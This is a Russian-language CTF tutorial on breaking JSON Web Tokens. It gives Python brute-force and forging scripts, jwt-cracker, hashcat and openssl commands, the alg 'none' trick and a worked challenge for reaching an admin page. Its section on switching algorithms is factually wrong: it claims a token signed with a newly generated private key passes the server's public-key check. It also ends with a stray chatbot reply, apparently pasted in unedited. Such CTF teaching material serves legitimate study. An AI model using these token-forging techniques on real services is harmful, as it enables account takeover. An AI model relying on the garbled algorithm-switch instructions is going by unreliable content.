Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/JWT_testing.md

JSON Web Tokens (JWT) — это популярный стандарт для передачи данных между клиентом и сервером, часто используемый для аутентификации и авторизации в веб-приложениях. В соревнованиях Capture The Flag (CTF) задачи с JWT встречаются регулярно, особенно в категории Web, и требуют от участников понимания их структуры, уязвимостей и способов эксплуатации. В этой статье мы разберем, что такое JWT, почему они важны, какие проблемы безопасности с ними связаны, как их взламывать в контексте CTF и какие инструменты помогут в этом процессе.

Что такое JWT и для чего они нужны?

JWT — это компактный токен, состоящий из трех частей, разделенных точками (.):

  • Header (заголовок): содержит метаданные, такие как тип токена (typ: "JWT") и алгоритм подписи (alg).
  • Payload (полезная нагрузка): хранит данные, например, идентификатор пользователя (sub), время выпуска (iat) или срок действия (exp).
  • Signature (подпись): криптографическая подпись для проверки целостности токена.

Каждая часть закодирована в Base64URL и выглядит так:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Назначение в веб-приложениях:
JWT часто используется вместо сессий на сервере. После аутентификации сервер выдает токен клиенту, который затем отправляет его с каждым запросом в заголовке Authorization: Bearer <token>. Сервер проверяет подпись и доверяет данным в токене, не обращаясь к базе данных.

В CTF:
JWT обычно появляется в задачах как часть механизма аутентификации. Цель — подделать токен, обойти ограничения или получить доступ к привилегированным ресурсам (например, админ-панели).


Безопасность JWT: где кроются уязвимости?

Хотя JWT выглядит надежно благодаря криптографической подписи, ошибки в реализации делают его уязвимым. Вот ключевые проблемы, которые часто эксплуатируются в CTF:

  1. Слабый секрет подписи

    • Если токен подписан симметричным алгоритмом (например, HS256), сервер использует секретный ключ. Слабый или предсказуемый ключ (например, password123) позволяет подделать токен.
    • В CTF: разработчики могут случайно использовать известные строки или ключи из исходного кода.
  2. Алгоритм "none"

    • Некоторые реализации JWT допускают указание alg: "none", отключая проверку подписи. Если сервер это принимает, токен становится полностью доверенным без защиты.
    • В CTF: частая уязвимость в старых или плохо настроенных системах.
  3. Неправильная обработка алгоритмов

    • Сервер может не проверять, совпадает ли алгоритм в заголовке с ожидаемым. Это позволяет переключить HS256 (симметричный) на RS256 (асимметричный) и использовать публичный ключ для подписи.
    • В CTF: публичный ключ иногда доступен в /jwt.pem или других открытых файлах.
  4. Утечка данных в Payload

    • Payload не шифруется, а лишь кодируется в Base64. Если в нем хранятся чувствительные данные (пароли, роли), их можно просто декодировать.
    • В CTF: флаг может быть спрятан прямо в токене.
  5. Недостаточная валидация claims

    • Сервер может не проверять поля вроде exp (срок действия) или sub (идентификатор), что позволяет подменить их значения.
    • В CTF: изменение sub на ID админа часто дает доступ к флагу.

Техники взлома JWT в CTF

Теперь перейдем к практическим методам эксплуатации, которые помогут вам решить задачу с JWT в соревновании.

1. Декодирование и анализ токена

Первый шаг — понять, что внутри. Используйте онлайн-декодеры (например, jwt.io) или Python:

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoiZ3Vlc3QifQ.abcd1234"
header, payload, signature = token.split(".")
print(json.loads(base64.urlsafe_b64decode(header + "==")))
print(json.loads(base64.urlsafe_b64decode(payload + "==")))
  • Проверьте alg в заголовке и данные в payload (например, role, sub).
  • В CTF флаг иногда лежит прямо в payload, например, { "flag": "ctf{token_leak}" }.

2. Атака на слабый секрет (HS256)

Если токен использует HS256, подпись — это HMAC-SHA256 от header.payload с секретным ключом. Попробуйте угадать ключ:

  • Источники: исходный код, .env, /config, стандартные строки вроде secret или 123456.
  • Инструмент: jwt-cracker или скрипт:
import hmac
import hashlib

def check_jwt(secret, token):
    header, payload, signature = token.split(".")
    expected = base64.urlsafe_b64encode(
        hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
    ).decode().rstrip("=")
    return expected == signature

token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.abcd1234"
with open("wordlist.txt", "r") as f:
    for secret in f:
        if check_jwt(secret.strip(), token):
            print(f"Found secret: {secret}")
            break
  • В CTF: создайте новый токен с role: "admin" и этим ключом.

3. Использование "none" алгоритма

Поменяйте alg на none и удалите подпись:

  • Оригинал: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.abcd1234
  • Новый: eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
  • В CTF: отправьте токен серверу. Если он принимает, вы в деле.

4. Переключение на RS256

Если сервер не проверяет алгоритм, замените HS256 на RS256 и подпишите токен приватным ключом:

  • Найдите публичный ключ (.pem файл или через /jwt/publickey).
  • Сгенерируйте пару ключей (openssl genrsa, openssl rsa) и подпишите:
echo -n "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9" | openssl dgst -sha256 -sign private.pem | base64
  • В CTF: сервер проверит подпись публичным ключом и примет токен.

5. Подмена claims

Измените payload, например, sub: "guest"sub: "admin", и пересчитайте подпись (если ключ известен). Используйте jwt.io или Python-скрипт для генерации.

  • В CTF: проверьте, как сервер реагирует на разные роли или ID.

Инструменты для взлома JWT

Для эффективной работы с JWT в CTF полезно иметь под рукой специализированные инструменты. Вот подборка самых популярных и их применение:

  1. jwt.io

    • Что это: Онлайн-сервис для декодирования, создания и проверки JWT.
    • Применение: Быстро раскодируйте токен, чтобы увидеть header и payload. Если у вас есть секрет, сгенерируйте новый токен с измененными данными (например, role: "admin").
    • В CTF: Идеально для быстрого старта и тестирования "none" или подмены claims.
  2. Burp Suite

    • Что это: Инструмент для перехвата и модификации HTTP-запросов.
    • Применение: Перехватывайте запросы с JWT в заголовке Authorization, меняйте токен на поддельный и отправляйте серверу. Плагин "JWT Editor" упрощает анализ и редактирование.
    • В CTF: Незаменим для задач, где нужно протестировать сервер на уязвимости вроде "none" или слабой валидации.
  3. jwt-cracker

    • Что это: Утилита для brute-force секрета в HS256-токенах.
    • Применение: Установите через npm (npm install -g jwt-cracker) и запустите:
      jwt-cracker "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.abcd1234" wordlist.txt
      
    • В CTF: Используйте с хорошим wordlist’ом (например, rockyou.txt), если секрет слабый.
  4. hashcat

    • Что это: Мощный инструмент для взлома хэшей, включая HMAC-SHA256 в JWT.
    • Применение: Преобразуйте токен в формат hashcat (header.payload:signature) и атакуйте:
      hashcat -m 16500 -a 0 token.txt wordlist.txt
      
    • В CTF: Подходит для задач с длинными или сложными секретами, где нужна скорость GPU.
  5. Python с библиотеками (PyJWT)

    • Что это: Библиотека для работы с JWT (pip install pyjwt).
    • Применение: Декодируйте, создавайте и проверяйте токены:
      import jwt
      token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.abcd1234"
      secret = "password"
      decoded = jwt.decode(token, secret, algorithms=["HS256"])
      new_token = jwt.encode({"sub": "admin"}, secret, algorithm="HS256")
      print(new_token)
      
    • В CTF: Гибкость для кастомных атак, например, подмена алгоритма или автоматизация.
  6. OpenSSL

    • Что это: Утилита для работы с криптографией, полезна для RS256.
    • Применение: Подпишите токен приватным ключом:
      echo -n "header.payload" | openssl dgst -sha256 -sign private.pem | base64
      
    • В CTF: Незаменимо для задач с переключением на асимметричные алгоритмы.

Практический пример из CTF

Задача: Вы получили токен eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE2NTAwMDB9.dummy и доступ к странице /profile. На /admin вас не пускают.

  1. Декодируем в jwt.io: {"alg": "HS256"} и {"user": "guest", "iat": 1650000}.
  2. Пробуем слабые ключи с jwt-cracker: в /config на сервере лежит secret = "password".
  3. Генерируем новый токен с user: "admin" в PyJWT или jwt.io.
  4. Отправляем через Burp Suite в /admin — получаем флаг: ctf{jwt_cracked}.

Советы для CTF

  • Всегда проверяйте доступные файлы (/robots.txt, /debug) — там могут быть ключи или подсказки.
  • Используйте Burp Suite для перехвата и модификации токенов в запросах.
  • Автоматизируйте brute-force секретов с помощью jwt-cracker или hashcat.
  • Время — ваш враг: начинайте с простых атак вроде "none" или декодирования.

JWT — это мощный инструмент, но его неправильная реализация открывает двери для атак. В CTF такие задачи учат разбираться в криптографии, внимательности к деталям и умению эксплуатировать ошибки разработчиков. Вооружитесь инструментами, практикуйтесь на платформах вроде Hack The Box или CTFtime — и скоро ни один токен не устоит перед вами!


Теперь статья полностью охватывает тему с инструментами. Если нужно что-то еще добавить (например, больше примеров или деталей про конкретный инструмент), дайте знать!